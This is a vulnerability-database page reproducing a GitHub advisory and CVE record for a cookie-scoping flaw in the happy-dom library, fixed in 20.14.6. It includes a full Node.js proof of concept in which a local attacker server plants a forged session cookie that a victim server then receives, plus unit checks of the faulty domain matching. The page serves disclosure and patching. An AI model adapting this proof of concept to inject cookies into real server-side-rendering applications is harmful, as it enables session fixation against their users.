Vulnerability-Lookup

GHSA-5FPQ-26GF-QWCR

Vulnerability from github – Published: 2026-10-28 21:06 – Updated: 2026-10-28 21:06

Summary

Happy DOM has cookie scope forgery: no DNS-label boundary on Domain= matching , attacker origin sets victim cookies

Details

Summary

A cookie-scoping bug in happy-dom lets an attacker origin set cookies that a victim origin then receives, diverging from browser semantics.

Details

happy-dom matches Domain=example.com against notexample.com (endsWith without a DNS-label boundary), diverging from browser semantics (verified 20.11.6 npm latest: cookieMatchesURL(Domain=example.com, url=http://notexample.com) = true). Relevant where happy-dom is used for SSR/prerender cookie handling. Matching in src/cookie/CookieContainer.ts.

PoC

Run:

node poc-happydom-cookie-domain.js

Full proof-of-concept source (poc-happydom-cookie-domain.js):

// PoC: happy-dom cookie-domain scoping gap -> cross-origin cookie injection / session fixation
// Chain: app (window at http://localhost:PORT2) fetches attacker server (http://127.0.0.1:PORT1)
//        -> attacker Set-Cookie with Domain=localhost (a host that is NOT a suffix of 127.0.0.1)
//        -> happy-dom stores it (a real browser rejects: RFC 6265 §5.3.6-7 + PSL)
//        -> app's same-origin fetch to http://localhost:PORT2/api/account carries the forged cookie
// Run:  cd C:/Users/rncb0/AppData/Local/Temp/0day && node poc/poc-happydom-cookie-domain.js
const http = require('http');
const { Window } = require('happy-dom');

const ATK_PORT = 19311; // attacker server, 127.0.0.1
const VIC_PORT = 19312; // victim server, localhost

let victimReceivedCookies = [];

let attackerSetCookie = `session=FORGED_BY_ATTACKER; Domain=localhost; Path=/; SameSite=None; Secure`;

const attacker = http.createServer((req, res) => {
  if (req.method === 'OPTIONS') {
    // CORS preflight (happy-dom enforces same-origin policy with a preflight; the
    // attacker trivially answers it — an attacker-controlled server always can)
    res.writeHead(204, {
      'Access-Control-Allow-Origin': '*',
      'Access-Control-Allow-Methods': 'GET, OPTIONS',
      'Access-Control-Allow-Headers': '*'
    });
    res.end();
    return;
  }
  res.writeHead(200, {
    'content-type': 'image/gif',
    'Access-Control-Allow-Origin': '*',
    // Attacker claims Domain=localhost even though it is serving from 127.0.0.1.
    // A browser MUST ignore this cookie (RFC 6265: domain-attribute not a domain-match of
    // the request-host; localhost is also on the Mozilla PSL).
    'Set-Cookie': attackerSetCookie
  });
  res.end('GIF89a');
});

const victim = http.createServer((req, res) => {
  victimReceivedCookies.push({ path: req.url, cookie: req.headers['cookie'] || null });
  res.writeHead(200, { 'content-type': 'application/json' });
  res.end(JSON.stringify({ ok: true, user: 'alice' }));
});

function sleep(ms) { return new Promise((r) => setTimeout(r, ms)); }

async function runScenario(scenario) {
  victimReceivedCookies = [];
  const win = new Window({
    url: `http://localhost:${VIC_PORT}/`,
    settings: {
      enableJavaScriptEvaluation: true,
      suppressInsecureJavaScriptEnvironmentWarning: true
    }
  });
  try {
    if (scenario === 'no-plant-control') {
      // Control: app NEVER contacts attacker -> victim must receive NO cookie
      await win.fetch(`http://localhost:${VIC_PORT}/api/account`);
    } else if (scenario === 'honest-domain-control') {
      // Control: attacker sets Domain=127.0.0.1 (its own host, honest)
      // -> cookie must NOT leak to localhost victim
      attackerSetCookie = `session=FORGED_BY_ATTACKER; Domain=127.0.0.1; Path=/; SameSite=None; Secure`;
      await win.fetch(`http://127.0.0.1:${ATK_PORT}/plant`);
      await win.fetch(`http://localhost:${VIC_PORT}/api/account`);
    } else {
      // attack: app fetches attacker content (scraping/SSR/third-party resource)
      await win.fetch(`http://127.0.0.1:${ATK_PORT}/plant`);
      await win.fetch(`http://localhost:${VIC_PORT}/api/account`);
    }
    await sleep(150);
    return victimReceivedCookies;
  } finally {
    win.happyDOM.abort();
  }
}

async function main() {
  await new Promise((r) => attacker.listen(ATK_PORT, '127.0.0.1', r));
  await new Promise((r) => victim.listen(VIC_PORT, 'localhost', r));

  console.log('=== happy-dom cookie-domain scoping PoC ===\n');

  const attack = await runScenario('attack');
  console.log('[ATTACK] app fetched attacker (127.0.0.1) then victim (localhost)');
  attack.forEach((e) => console.log(`  victim got ${e.path}: Cookie=${JSON.stringify(e.cookie)}`));
  const forged = attack.some((e) => e.cookie && e.cookie.includes('session=FORGED_BY_ATTACKER'));
  console.log(`  -> forged cookie delivered to victim: ${forged ? 'YES (VULNERABLE)' : 'no'}`);

  const noPlant = await runScenario('no-plant-control');
  console.log('\n[CONTROL] app never contacts attacker');
  noPlant.forEach((e) => console.log(`  victim got ${e.path}: Cookie=${JSON.stringify(e.cookie)}`));

  const honest = await runScenario('honest-domain-control');
  console.log('\n[CONTROL] attacker sets honest Domain=127.0.0.1 only');
  honest.forEach((e) => console.log(`  victim got ${e.path}: Cookie=${JSON.stringify(e.cookie)}`));

  // unit proof: document.cookie setter also accepts non-suffix domains (browser rejects)
  const win2 = new Window({
    url: `http://localhost:${VIC_PORT}/`,
    settings: { enableJavaScriptEvaluation: true, suppressInsecureJavaScriptEnvironmentWarning: true }
  });
  win2.document.cookie = `admin=1; Domain=com; Path=/`; // PSL public suffix!
  const readBack = win2.document.cookie;
  console.log(`\n[UNIT] document.cookie = 'admin=1; Domain=com' -> read back: '${readBack}'`);
  console.log(`  -> browser: REJECTED (public suffix); happy-dom: ${readBack.includes('admin=1') ? 'ACCEPTED' : 'rejected'}`);
  win2.happyDOM.abort();

  // unit proof: endsWith boundary bug (SameSite=None cookie -> sent to any host ending with the domain)
  const { default: CookieURLUtility } = require('happy-dom/lib/cookie/urilities/CookieURLUtility.js');
  const matchesBoundary = CookieURLUtility.cookieMatchesURL(
    { key: 'k', value: 'v', originURL: new URL('http://attacker.example/'), domain: 'example.com', path: '/', secure: true, sameSite: 'None' },
    new URL('https://notexample.com/')
  );
  console.log(`\n[UNIT] cookieMatchesURL(Domain=example.com, SameSite=None, url=http://notexample.com) = ${matchesBoundary}`);
  console.log(`  -> 'notexample.com'.endsWith('example.com') is TRUE (no DNS-label boundary); browser: no match`);

  attacker.close();
  victim.close();
  process.exit(0);
}

main().catch((e) => { console.error(e); process.exit(1); });

Observed output (verbatim, Node 24.15.0, Windows):

[UNIT] cookieMatchesURL(Domain=example.com, SameSite=None, url=http://notexample.com) = true
  -> 'notexample.com'.endsWith('example.com') is TRUE (no DNS-label boundary); browser: no match

Impact

Cookie-scoping divergence / session forgery . Applications using happy-dom for SSR/prerender cookie handling can accept cookies from wrong origins. Affects happy-dom <= 20.14.5. Note: main pushback will be that happy-dom is a test DOM — state the SSR use case.

Severity

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 20.14.5"
      },
      "package": {
        "ecosystem": "npm",
        "name": "happy-dom"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "20.14.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-118661"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-565"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-28T21:06:13Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nA cookie-scoping bug in happy-dom lets an attacker origin set cookies that a victim origin then receives, diverging from browser semantics.\n\n### Details\nhappy-dom matches Domain=example.com against notexample.com (endsWith without a DNS-label boundary), diverging from browser semantics (verified 20.11.6 npm latest: cookieMatchesURL(Domain=example.com, url=http://notexample.com) = true). Relevant where happy-dom is used for SSR/prerender cookie handling. Matching in src/cookie/CookieContainer.ts.\n\n### PoC\n\nRun:\n```bash\nnode poc-happydom-cookie-domain.js\n```\n\nFull proof-of-concept source (poc-happydom-cookie-domain.js):\n```js\n// PoC: happy-dom cookie-domain scoping gap -\u003e cross-origin cookie injection / session fixation\n// Chain: app (window at http://localhost:PORT2) fetches attacker server (http://127.0.0.1:PORT1)\n//        -\u003e attacker Set-Cookie with Domain=localhost (a host that is NOT a suffix of 127.0.0.1)\n//        -\u003e happy-dom stores it (a real browser rejects: RFC 6265 \u00a75.3.6-7 + PSL)\n//        -\u003e app\u0027s same-origin fetch to http://localhost:PORT2/api/account carries the forged cookie\n// Run:  cd C:/Users/rncb0/AppData/Local/Temp/0day \u0026\u0026 node poc/poc-happydom-cookie-domain.js\nconst http = require(\u0027http\u0027);\nconst { Window } = require(\u0027happy-dom\u0027);\n\nconst ATK_PORT = 19311; // attacker server, 127.0.0.1\nconst VIC_PORT = 19312; // victim server, localhost\n\nlet victimReceivedCookies = [];\n\nlet attackerSetCookie = `session=FORGED_BY_ATTACKER; Domain=localhost; Path=/; SameSite=None; Secure`;\n\nconst attacker = http.createServer((req, res) =\u003e {\n  if (req.method === \u0027OPTIONS\u0027) {\n    // CORS preflight (happy-dom enforces same-origin policy with a preflight; the\n    // attacker trivially answers it \u2014 an attacker-controlled server always can)\n    res.writeHead(204, {\n      \u0027Access-Control-Allow-Origin\u0027: \u0027*\u0027,\n      \u0027Access-Control-Allow-Methods\u0027: \u0027GET, OPTIONS\u0027,\n      \u0027Access-Control-Allow-Headers\u0027: \u0027*\u0027\n    });\n    res.end();\n    return;\n  }\n  res.writeHead(200, {\n    \u0027content-type\u0027: \u0027image/gif\u0027,\n    \u0027Access-Control-Allow-Origin\u0027: \u0027*\u0027,\n    // Attacker claims Domain=localhost even though it is serving from 127.0.0.1.\n    // A browser MUST ignore this cookie (RFC 6265: domain-attribute not a domain-match of\n    // the request-host; localhost is also on the Mozilla PSL).\n    \u0027Set-Cookie\u0027: attackerSetCookie\n  });\n  res.end(\u0027GIF89a\u0027);\n});\n\nconst victim = http.createServer((req, res) =\u003e {\n  victimReceivedCookies.push({ path: req.url, cookie: req.headers[\u0027cookie\u0027] || null });\n  res.writeHead(200, { \u0027content-type\u0027: \u0027application/json\u0027 });\n  res.end(JSON.stringify({ ok: true, user: \u0027alice\u0027 }));\n});\n\nfunction sleep(ms) { return new Promise((r) =\u003e setTimeout(r, ms)); }\n\nasync function runScenario(scenario) {\n  victimReceivedCookies = [];\n  const win = new Window({\n    url: `http://localhost:${VIC_PORT}/`,\n    settings: {\n      enableJavaScriptEvaluation: true,\n      suppressInsecureJavaScriptEnvironmentWarning: true\n    }\n  });\n  try {\n    if (scenario === \u0027no-plant-control\u0027) {\n      // Control: app NEVER contacts attacker -\u003e victim must receive NO cookie\n      await win.fetch(`http://localhost:${VIC_PORT}/api/account`);\n    } else if (scenario === \u0027honest-domain-control\u0027) {\n      // Control: attacker sets Domain=127.0.0.1 (its own host, honest)\n      // -\u003e cookie must NOT leak to localhost victim\n      attackerSetCookie = `session=FORGED_BY_ATTACKER; Domain=127.0.0.1; Path=/; SameSite=None; Secure`;\n      await win.fetch(`http://127.0.0.1:${ATK_PORT}/plant`);\n      await win.fetch(`http://localhost:${VIC_PORT}/api/account`);\n    } else {\n      // attack: app fetches attacker content (scraping/SSR/third-party resource)\n      await win.fetch(`http://127.0.0.1:${ATK_PORT}/plant`);\n      await win.fetch(`http://localhost:${VIC_PORT}/api/account`);\n    }\n    await sleep(150);\n    return victimReceivedCookies;\n  } finally {\n    win.happyDOM.abort();\n  }\n}\n\nasync function main() {\n  await new Promise((r) =\u003e attacker.listen(ATK_PORT, \u0027127.0.0.1\u0027, r));\n  await new Promise((r) =\u003e victim.listen(VIC_PORT, \u0027localhost\u0027, r));\n\n  console.log(\u0027=== happy-dom cookie-domain scoping PoC ===\\n\u0027);\n\n  const attack = await runScenario(\u0027attack\u0027);\n  console.log(\u0027[ATTACK] app fetched attacker (127.0.0.1) then victim (localhost)\u0027);\n  attack.forEach((e) =\u003e console.log(`  victim got ${e.path}: Cookie=${JSON.stringify(e.cookie)}`));\n  const forged = attack.some((e) =\u003e e.cookie \u0026\u0026 e.cookie.includes(\u0027session=FORGED_BY_ATTACKER\u0027));\n  console.log(`  -\u003e forged cookie delivered to victim: ${forged ? \u0027YES (VULNERABLE)\u0027 : \u0027no\u0027}`);\n\n  const noPlant = await runScenario(\u0027no-plant-control\u0027);\n  console.log(\u0027\\n[CONTROL] app never contacts attacker\u0027);\n  noPlant.forEach((e) =\u003e console.log(`  victim got ${e.path}: Cookie=${JSON.stringify(e.cookie)}`));\n\n  const honest = await runScenario(\u0027honest-domain-control\u0027);\n  console.log(\u0027\\n[CONTROL] attacker sets honest Domain=127.0.0.1 only\u0027);\n  honest.forEach((e) =\u003e console.log(`  victim got ${e.path}: Cookie=${JSON.stringify(e.cookie)}`));\n\n  // unit proof: document.cookie setter also accepts non-suffix domains (browser rejects)\n  const win2 = new Window({\n    url: `http://localhost:${VIC_PORT}/`,\n    settings: { enableJavaScriptEvaluation: true, suppressInsecureJavaScriptEnvironmentWarning: true }\n  });\n  win2.document.cookie = `admin=1; Domain=com; Path=/`; // PSL public suffix!\n  const readBack = win2.document.cookie;\n  console.log(`\\n[UNIT] document.cookie = \u0027admin=1; Domain=com\u0027 -\u003e read back: \u0027${readBack}\u0027`);\n  console.log(`  -\u003e browser: REJECTED (public suffix); happy-dom: ${readBack.includes(\u0027admin=1\u0027) ? \u0027ACCEPTED\u0027 : \u0027rejected\u0027}`);\n  win2.happyDOM.abort();\n\n  // unit proof: endsWith boundary bug (SameSite=None cookie -\u003e sent to any host ending with the domain)\n  const { default: CookieURLUtility } = require(\u0027happy-dom/lib/cookie/urilities/CookieURLUtility.js\u0027);\n  const matchesBoundary = CookieURLUtility.cookieMatchesURL(\n    { key: \u0027k\u0027, value: \u0027v\u0027, originURL: new URL(\u0027http://attacker.example/\u0027), domain: \u0027example.com\u0027, path: \u0027/\u0027, secure: true, sameSite: \u0027None\u0027 },\n    new URL(\u0027https://notexample.com/\u0027)\n  );\n  console.log(`\\n[UNIT] cookieMatchesURL(Domain=example.com, SameSite=None, url=http://notexample.com) = ${matchesBoundary}`);\n  console.log(`  -\u003e \u0027notexample.com\u0027.endsWith(\u0027example.com\u0027) is TRUE (no DNS-label boundary); browser: no match`);\n\n  attacker.close();\n  victim.close();\n  process.exit(0);\n}\n\nmain().catch((e) =\u003e { console.error(e); process.exit(1); });\n\n```\n\nObserved output (verbatim, Node 24.15.0, Windows):\n```\n[UNIT] cookieMatchesURL(Domain=example.com, SameSite=None, url=http://notexample.com) = true\n  -\u003e \u0027notexample.com\u0027.endsWith(\u0027example.com\u0027) is TRUE (no DNS-label boundary); browser: no match\n```\n\n### Impact\nCookie-scoping divergence / session forgery . Applications using happy-dom for SSR/prerender cookie handling can accept cookies from wrong origins. Affects happy-dom \u003c= 20.14.5. Note: main pushback will be that happy-dom is a test DOM \u2014 state the SSR use case.",
  "id": "GHSA-5fpq-26gf-qwcr",
  "modified": "2026-10-28T21:06:13Z",
  "published": "2026-10-28T21:06:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/capricorn86/happy-dom/security/advisories/GHSA-5fpq-26gf-qwcr"
    },
    {
      "type": "WEB",
      "url": "https://github.com/capricorn86/happy-dom/pull/2477"
    },
    {
      "type": "WEB",
      "url": "https://github.com/capricorn86/happy-dom/commit/f21dbd7d0a0c63cdd41954ba5d0f05def4e0f2b3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/capricorn86/happy-dom"
    },
    {
      "type": "WEB",
      "url": "https://github.com/capricorn86/happy-dom/releases/tag/v20.14.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Happy DOM has cookie scope forgery: no DNS-label boundary on Domain= matching , attacker origin sets victim cookies"
}

CVE-2026-118661 (GCVE-0-2026-118661)

Vulnerability from cvelistv5 – Published: 2026-10-28 20:30 – Updated: 2026-10-28 20:30

Title

Happy DOM: Cookie scope forgery: no DNS-label boundary on Domain= matching , attacker origin sets victim cookies

Summary

Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. Prior to 20.14.6, Happy DOM's CookieContainer in src/cookie/CookieContainer.ts does not correctly validate or match Domain cookie attributes. It can accept a Domain unrelated to the origin setting the cookie, including a public suffix, and separately treats an unrelated suffix-sharing hostname as a match because cookieMatchesURL does not enforce a DNS-label boundary. In server-side rendering and prerendering applications that contact attacker-controlled origins and then make requests to a victim origin, these behaviors can plant and deliver a forged cookie, enabling cookie injection or session fixation. This issue is fixed in version 20.14.6.

Severity

6.5 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

CWE

CWE-565 - Reliance on Cookies without Validation and Integrity Checking

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7994 records in the last 180 days details

References

4 references

URL	Tags
https://github.com/capricorn86/happy-dom/security…	x_refsource_CONFIRM
https://github.com/capricorn86/happy-dom/pull/2477	x_refsource_MISC
https://github.com/capricorn86/happy-dom/commit/f…	x_refsource_MISC
https://github.com/capricorn86/happy-dom/releases…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
capricorn86	happy-dom	Affected: < 20.14.6

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "happy-dom",
          "vendor": "capricorn86",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 20.14.6"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. Prior to 20.14.6, Happy DOM\u0027s CookieContainer in src/cookie/CookieContainer.ts does not correctly validate or match Domain cookie attributes. It can accept a Domain unrelated to the origin setting the cookie, including a public suffix, and separately treats an unrelated suffix-sharing hostname as a match because cookieMatchesURL does not enforce a DNS-label boundary. In server-side rendering and prerendering applications that contact attacker-controlled origins and then make requests to a victim origin, these behaviors can plant and deliver a forged cookie, enabling cookie injection or session fixation. This issue is fixed in version 20.14.6."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 6.5,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "LOW",
            "integrityImpact": "LOW",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-565",
              "description": "CWE-565: Reliance on Cookies without Validation and Integrity Checking",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-10-28T20:30:23.868Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/capricorn86/happy-dom/security/advisories/GHSA-5fpq-26gf-qwcr",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/capricorn86/happy-dom/security/advisories/GHSA-5fpq-26gf-qwcr"
        },
        {
          "name": "https://github.com/capricorn86/happy-dom/pull/2477",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/capricorn86/happy-dom/pull/2477"
        },
        {
          "name": "https://github.com/capricorn86/happy-dom/commit/f21dbd7d0a0c63cdd41954ba5d0f05def4e0f2b3",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/capricorn86/happy-dom/commit/f21dbd7d0a0c63cdd41954ba5d0f05def4e0f2b3"
        },
        {
          "name": "https://github.com/capricorn86/happy-dom/releases/tag/v20.14.6",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/capricorn86/happy-dom/releases/tag/v20.14.6"
        }
      ],
      "source": {
        "advisory": "GHSA-5fpq-26gf-qwcr",
        "discovery": "UNKNOWN"
      },
      "title": "Happy DOM: Cookie scope forgery: no DNS-label boundary on Domain= matching , attacker origin sets victim cookies"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-118661",
    "datePublished": "2026-10-28T20:30:23.868Z",
    "dateReserved": "2026-10-28T17:25:37.561Z",
    "dateUpdated": "2026-10-28T20:30:23.868Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

Order JSON

Publication & reservation Sightings KEV catalogs Other timestamps

Loading timeline…

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-5FPQ-26GF-QWCR

Summary

Details

PoC

Impact

CVE-2026-118661 (GCVE-0-2026-118661)

Tags

Sightings

Nomenclature

Vulnerability timeline

Related by attack behaviour